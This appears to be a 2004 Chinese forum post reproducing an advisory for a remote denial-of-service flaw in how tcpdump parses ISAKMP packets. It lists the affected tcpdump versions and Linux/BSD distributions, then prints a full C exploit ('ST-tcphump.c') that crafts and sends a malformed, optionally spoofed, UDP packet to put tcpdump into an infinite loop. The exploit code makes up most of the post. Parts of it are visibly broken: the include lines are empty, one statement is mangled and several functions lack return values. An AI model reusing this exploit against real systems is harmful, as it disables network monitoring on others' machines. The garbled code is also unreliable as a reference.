|
发表于 2004-8-23 08:59:06
|
显示全部楼层
TCPDump畸形ISAKMP数据包远程拒绝服务漏洞严重程度:中威胁程度:远程拒绝服务错误类型:设计错误利用方式:服务器模式受影响系统LBL tcpdump 3.5.2 LBL tcpdump 3.6.2 +Caldera OpenLinux Server 3.1 +Caldera OpenLinux Server 3.1.1 +Caldera OpenLinux Workstation 3.1 +Caldera OpenLinux Workstation 3.1.1 +Conectiva Linux 5.0 +Conectiva Linux 5.1 +Conectiva Linux 6.0 +Conectiva Linux 7.0 +Conectiva Linux 8.0 +Debian Linux 3.0 +Debian Linux 3.0 alpha +Debian Linux 3.0 arm +Debian Linux 3.0 hppa +Debian Linux 3.0 ia-32 +Debian Linux 3.0 ia-64 +Debian Linux 3.0 m68k +Debian Linux 3.0 mips +Debian Linux 3.0 mipsel +Debian Linux 3.0 ppc +Debian Linux 3.0 s/390 +Debian Linux 3.0 sparc +FreeBSD FreeBSD 4.0 +FreeBSD FreeBSD 4.1 +FreeBSD FreeBSD 4.1.1 +FreeBSD FreeBSD 4.2 +FreeBSD FreeBSD 4.3 +HP Secure OS software for Linux 1.0 +MandrakeSoft Corporate Server 1.0.1 +MandrakeSoft Linux Mandrake 7.1 +MandrakeSoft Linux Mandrake 7.2 +MandrakeSoft Linux Mandrake 8.0 +MandrakeSoft Linux Mandrake 8.1 +MandrakeSoft Linux Mandrake 8.2 +MandrakeSoft Single Network Firewall 7.2 +RedHat Linux 6.2 alpha +RedHat Linux 6.2 i386 +RedHat Linux 6.2 sparc +RedHat Linux 7.0 alpha +RedHat Linux 7.0 i386 +RedHat Linux 7.1 alpha +RedHat Linux 7.1 i386 +RedHat Linux 7.1 ia64 +RedHat Linux 7.2 i386 +RedHat Linux 7.2 ia64 +S.u.S.E. Linux 8.0 +Trustix Secure Linux 1.1 +Trustix Secure Linux 1.2 +Trustix Secure Linux 1.5 LBL tcpdump 3.7 +FreeBSD FreeBSD 4.2 +FreeBSD FreeBSD 4.2 -RELEASE +FreeBSD FreeBSD 4.2 -STABLE +FreeBSD FreeBSD 4.3 +FreeBSD FreeBSD 4.3 -RELEASE +FreeBSD FreeBSD 4.3 -RELENG +FreeBSD FreeBSD 4.3 -STABLE +FreeBSD FreeBSD 4.4 +FreeBSD FreeBSD 4.4 -RELENG +FreeBSD FreeBSD 4.4 -STABLE +FreeBSD FreeBSD 4.5 +FreeBSD FreeBSD 4.5 -RELEASE +FreeBSD FreeBSD 4.5 -STABLE +FreeBSD FreeBSD 4.6 +FreeBSD FreeBSD 4.6 -RELEASE LBL tcpdump 3.7.1 +Gentoo Linux 1.4 _rc1 +Gentoo Linux 1.4 _rc2 +S.u.S.E. Linux 8.1详细描述tcpdump实现上存在漏洞,当其收到某种类型的数据包会造成拒绝服务。当tcpdump收到一个恶意的畸形格式的数据包时,tcpdump会不再处理流经其的数据包,只有重启程序才能恢复功能,远程入侵者可以利用此漏洞tcpdump暂时失去嗅探功能。测试代码/** ST-tcphump.c -- tcpdump ISAKMP denial of service attack* The Salvia Twist* 01/03/03* * "A vulnerability exists in the parsing of ISAKMP packets (UDP port 500)* that allows an attacker to force TCPDUMP into an infinite loop upon* receipt of a specially crafted packet."** The fault really lies in isakmp_sub0_print() not isakmp_sub_print().* * Sometimes spoofed packets don't reach their destination, so we have support * for non-spoofed packets.* */#include #include #include #include #include #include #include #include #include #define ISAKMPGEN_SIZE sizeof(struct isakmpgen)#define ISAKMPHEAD_SIZE sizeof(struct isakmphdr)#define PSDHEAD_SIZE sizeof(struct pseudohdr)#define UDPHEAD_SIZE sizeof(struct udphdr)#define IPHEAD_SIZE sizeof(struct iphdr)#define PORT 500struct isakmpgen * isakmpg(void);struct isakmphdr * isakmph(void);struct udphdr * udph(void);struct iphdr * iph(void);__u16 cksum(__u16 *buf, int nbytes);void get_interface(void);void usage(void);struct isakmpgen { __u8 np; __u8 reserved; __u16 length;};struct isakmphdr { __u8 i_ck[8]; __u8 r_ck[8]; __u8 np; __u8 vers; __u8 etype; __u8 flags; __u8 msgid[4]; __u32 len;};struct pseudohdr { __u32 saddr; __u32 daddr; __u8 zero; __u8 protocol; __u16 length;};struct sockaddr_in saddr;struct sockaddr_in local;int spoof;int main(int argc, char *argv[]) { char *packet = malloc(4096); char *pseudo = malloc(4096); struct isakmpgen *isakmpgen = malloc(ISAKMPGEN_SIZE); struct isakmphdr *isakmp = malloc(ISAKMPHEAD_SIZE); struct pseudohdr *phdr = malloc(PSDHEAD_SIZE); struct udphdr *udp = malloc(UDPHEAD_SIZE); struct iphdr *ip = malloc(IPHEAD_SIZE); int sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); int one = 1; const int *val = &one; printf("ST-tcphump tcpdump ISAKMP denial of service\n"); printf(" The Salvia Twist\n"); if(argc < 2) { usage(); exit(1); } if(!strcmp(argv[1], "-s")) spoof = 0; else { spoof = 1; get_interface(); } if(!spoof && argc < 3) { usage(); exit(1); } bzero(packet, sizeof(packet)); bzero(pseudo, sizeof(pseudo)); srand(time(NULL)); saddr.sin_family = AF_INET; saddr.sin_port = htons(PORT); if(spoof) saddr.sin_addr.s_addr = inet_addr(argv[1]); else saddr.sin_addr.s_addr = inet_addr(argv[2]); setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)); ip = iph(); udp = udph(); isakmp = isakmph(); isakmpgen = isakmpg(); memcpy(&phdr->saddr, &ip->saddr, 4); memcpy(&phdr->daddr, &ip->daddr, 4); phdr->protocol = 17; phdr->length = htons(UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE); memcpy(pseudo, phdr, PSDHEAD_SIZE); memcpy(pseudo + PSDHEAD_SIZE, udp, UDPHEAD_SIZE); memcpy(pseudo + PSDHEAD_SIZE + UDPHEAD_SIZE, isakmp, ISAKMPHEAD_SIZE); memcpy(pseudo + PSDHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE, isakmpgen, ISAKMPGEN_SIZE); udp->check = cksum((u_short*) pseudo, PSDHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE); memcpy(packet, ip, IPHEAD_SIZE); memcpy(packet + IPHEAD_SIZE, udp, UDPHEAD_SIZE); memcpy(packet + IPHEAD_SIZE + UDPHEAD_SIZE, isakmp, ISAKMPHEAD_SIZE); memcpy(packet + IPHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE, isakmpgen, ISAKMPGEN_SIZE); ip->check = cksum((u_short*) packet, ip->tot_len >> 1); memcpy(packet, ip, IPHEAD_SIZE); if(sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *) &saddr, sizeof(saddr)) < 0) { printf("sendto error\n"); exit(1); } printf("Packet sent.\n"); return 0;}void usage(void) { printf("\nUsage: ST-tcphump -s \n"); printf("\t-s\tdon't spoof source address\n");}__u16 cksum(__u16 *buf, int nbytes) { __u32 sum; __u16 oddbyte; sum = 0; while(nbytes > 1) { sum += *buf++; nbytes -= 2; } if(nbytes == 1) { oddbyte = 0; *((__u16 *) &oddbyte) = *(__u8 *) buf; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (__u16) ~sum;}struct isakmpgen * isakmpg(void) { struct isakmpgen *isakmpg = malloc(ISAKMPGEN_SIZE); bzero(isakmpg, ISAKMPGEN_SIZE); isakmpg->np = 69;}struct isakmphdr * isakmph(void) { struct isakmphdr *isakmph = malloc(ISAKMPHEAD_SIZE); int i; bzero(isakmph, ISAKMPHEAD_SIZE); for(i = 0; i < 8; i++) { isakmph->i_ck[i] = rand() % 256; isakmph->r_ck[i] = rand() % 256; } for(i = 0; i < 4; i++) isakmph->msgid[i] = rand() % 256; isakmph->vers = 0x8 np = 69; isakmph->etype = 2; isakmph->len = htonl(ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);}struct udphdr * udph(void) { struct udphdr *udph = malloc(UDPHEAD_SIZE); udph->source = htons(PORT);//htons(1024 + (rand() % 2003)); udph->dest = htons(PORT); udph->len = UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE; udph->check = 0;}struct iphdr * iph(void) { struct iphdr *iph = malloc(IPHEAD_SIZE); iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = IPHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE; iph->id = htons(rand()); iph->frag_off = 0; iph->ttl = 225; iph->protocol = 17; iph->check = 0; if(spoof) { iph->saddr = saddr.sin_addr.s_addr; } else iph->saddr = local.sin_addr.s_addr; iph->daddr = saddr.sin_addr.s_addr; return iph;}/* thanks hping2 */void get_interface(void) { int sockr, len, on = 1; struct sockaddr_in dest; struct sockaddr_in iface; memset(&iface, 0, sizeof(iface)); memcpy(&dest, &saddr, sizeof(struct sockaddr_in)); dest.sin_port = htons(11111); sockr = socket(AF_INET, SOCK_DGRAM, 0); if(setsockopt(sockr, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) == -1) { printf("getsockopt error\n"); exit(1); } if(connect(sockr, (struct sockaddr *)&dest, sizeof(struct sockaddr_in)) == -1) { printf("connect error\n"); exit(1); } len = sizeof(iface); if(getsockname(sockr, (struct sockaddr *)&iface, &len) == -1) { printf("getsockname error\n"); exit(1); } close(sockr); memcpy(&local, &iface, sizeof(struct sockaddr_in)); return;} |
|